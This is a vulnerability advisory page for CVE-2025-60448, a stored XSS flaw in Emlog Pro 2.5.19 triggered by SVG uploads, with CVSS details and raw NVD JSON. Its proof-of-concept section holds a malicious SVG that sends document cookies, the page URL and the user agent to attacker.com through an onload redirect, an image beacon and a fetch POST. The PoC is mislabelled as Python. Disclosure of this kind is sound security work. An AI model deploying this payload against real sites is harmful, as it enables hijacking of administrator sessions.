CVE-2025-60448

Description

A stored Cross-Site Scripting (XSS) vulnerability has been discovered in Emlog Pro 2.5.19. The vulnerability exists due to insufficient validation of SVG file uploads in the /admin/media.php component, allowing attackers to upload malicious SVG files containing JavaScript code that executes when the uploaded file is viewed.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:emlog:emlog:2.5.19:*:*:*:pro:*:*:* - VULNERABLE

Emlog Pro < 2.5.19

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-60448 PoC: Stored XSS via SVG File Upload in Emlog Pro 2.5.19 -->
<!-- Save the following content as malicious.svg and upload via /admin/media.php -->

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert(document.cookie);window.location='http://attacker.com/steal?cookie='+document.cookie">
  <script type="text/javascript">
    // Malicious JavaScript payload executed when SVG is rendered
    var img = new Image();
    img.src = "http://attacker.com/steal?cookie=" + document.cookie + "&url=" + window.location.href;
    
    // Alternative: Steal admin session
    fetch('http://attacker.com/log', {
      method: 'POST',
      body: JSON.stringify({
        cookies: document.cookie,
        url: window.location.href,
        userAgent: navigator.userAgent
      })
    });
  </script>
  <rect x="0" y="0" width="100" height="100" fill="red"/>
  <text x="10" y="50" font-size="14">Benign looking SVG</text>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60448
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60448
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60448/
[4] VulDB https://vuldb.com/cve/CVE-2025-60448
[5] https://snowhy77.github.io/2025/08/21/SVG-File-Upload-XSS-Vulnerability-in-Emlog-Pro/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60448", "sourceIdentifier": "[email protected]", "published": "2025-10-03T14:15:46.277", "lastModified": "2025-10-08T15:21:30.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability has been discovered in Emlog Pro 2.5.19. The vulnerability exists due to insufficient validation of SVG file uploads in the /admin/media.php component, allowing attackers to upload malicious SVG files containing JavaScript code that executes when the uploaded file is viewed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.19:*:*:*:pro:*:*:*", "matchCriteriaId": "14DE5FC1-03FE-47D8-9958-0300C5B25F77"}]}]}], "references": [{"url": "https://snowhy77.github.io/2025/08/21/SVG-File-Upload-XSS-Vulnerability-in-Emlog-Pro/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}